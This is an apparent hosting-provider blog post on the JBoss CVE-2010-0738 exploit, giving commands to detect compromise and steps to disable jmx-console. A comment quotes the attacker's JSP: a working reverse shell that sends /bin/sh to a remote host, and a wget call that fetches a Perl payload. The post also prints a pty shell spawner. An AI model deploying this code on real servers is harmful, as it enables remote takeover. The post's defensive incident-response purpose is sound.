There is a JBoss exploit out in the wild. See http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-0738 and https://access.redhat.com/kb/docs/DOC-30741 for details.
A common attach is to use the exploit to install a file that then permits a python file to launch and run.
e.g. you may see python running on your server when you are not expecting it.
top - 16:23:27 up 10 days, 7:06, 1 user, load average: 1.00, 1.05, 1.07 Tasks: 66 total, 3 running, 63 sleeping, 0 stopped, 0 zombie Cpu(s): 20.3%us, 13.0%sy, 0.0%ni, 66.2%id, 0.0%wa, 0.0%hi, 0.0%si, 0.4%st Mem: 2048416k total, 2033204k used, 15212k free, 137864k buffers Swap: 131064k total, 21164k used, 109900k free, 1334712k cached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 26051 jboss 20 0 76308 2824 1428 R 100.0 0.1 124:20.74 python 1 root 20 0 10356 344 312 S 0.0 0.0 0:01.85 init 2 root 15 -5 0 0 0 S 0.0 0.0 0:00.00 kthreadd
ps shows the following
root@hostname ~]# ps aux |egrep 'python|jboss' jboss 26051 99.3 0.1 76308 2824 ? R 14:18 124:44 python a.py
The contents of a.py is
import pty; pty.spawn('/bin/bash')
We will be following up to see what fixes there are if any, and versions affected etc.
http://www.vulnerabilitydatabase.com/toolswatch/2011/03/02/pentesting-jboss-servers-with-jboss-autopwn/
Most of the automated scanners target the open port 8080. And require that jmx-console.war be deployed.
If you are running boss now may be a good time to bind JBoss to the localhost IP address (vs. the public IP address). This wont remove the vulnerability, but is a nice way to reduce the exposure of your jboss server to targeted attacks. And allows you to take advantage of the apache logging facilities.
To do this edit /usr/local/jboss/bin/run.conf and look for the line that starts with JBOSS_OPTIONS= on it. And ensure that looks something like JBOSS_OPTIONS=”-b 127.0.0.1″ (and ensure there is not a line like: JBOSS_OPTIONS=”-b 0.0.0.0″). After this change you will need to access your JBoss apps via apache. See http://rimuhosting.com/mod_jk2_and_mod_proxy_ajp.jsp or pop in a sysadmin work ticket with your apps details and we can help with that.
Some commands to run to see if you are already exploited:
ps auxf | egrep 'jboss|java'
And look for ‘odd process’ e.g. not java. e.g. ./2.6 or new.pl or some process not running with jboss as the parent.
Run this to find recently modified files:
find /usr/local/jboss/ -mtime -10 | grep -v tmp | grep -v '/log' | grep -v '/work'
Look for files like new.pl or ‘random’ war file names.
e.g. /usr/local/jboss/server/default/deploy/xn16epce.war
/usr/local/jboss/server/default/deploy/C1TRDrxK.war
/usr/local/jboss/server/default/deploy/NaS1TEv3.war
/usr/local/jboss/server/default/deploy/A5errCGm.war
/usr/local/jboss/bin/n.pl
/usr/local/jboss/bin/n.pl.1
Delete the files if they are exploits.
To disable jmx-console try:
jmxdirs=$(find /usr/local/jboss/server/ -maxdepth 3 -type d -name jmx-console.war); for jmx in $jmxdirs;
do newdir=$(echo $jmx | sed 's/\//_/g'); echo
"moving $jmx to $newdir";
mv $jmx $newdir;
done
/etc/init.d/jboss restart
3 responses to “Jboss Exploits”
The exploit was used to create a webapp with a random name with this little snippet of jsp:
<%@ page import="java.lang.*, java.util.*, java.io.*, java.net.*" %>
<%! static class StreamConnector extends Thread { InputStream is; OutputStream os; StreamConnector( InputStream is, OutputStream os ) { this.is = is; this.os = os; } public void run() { BufferedReader in = null; BufferedWriter out = null; try { in = new BufferedReader( new InputStreamReader( this.is ) ); out = new BufferedWriter( new OutputStreamWriter( this.os ) ); char buffer[] = new char[8192]; int length; while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
}
} catch( Exception e ){}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
} catch( Exception e ){}
}
}
%>
<% try { Socket socket = new Socket( "chineiphere", 80 ); Process process = Runtime.getRuntime().exec( "/bin/sh" ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); } catch( Exception e ) {} %>
<%@ page import="java.lang.*, java.util.*, java.io.*, java.net.*" %>
<% try { Process child = Runtime.getRuntime().exec( "wget http://remoteserverip/new.pl” );
}
catch (IOException e)
{}
Updated the post to clarify that binding jboss to localhost does not remove the vulnerability by itself (thanks Yves).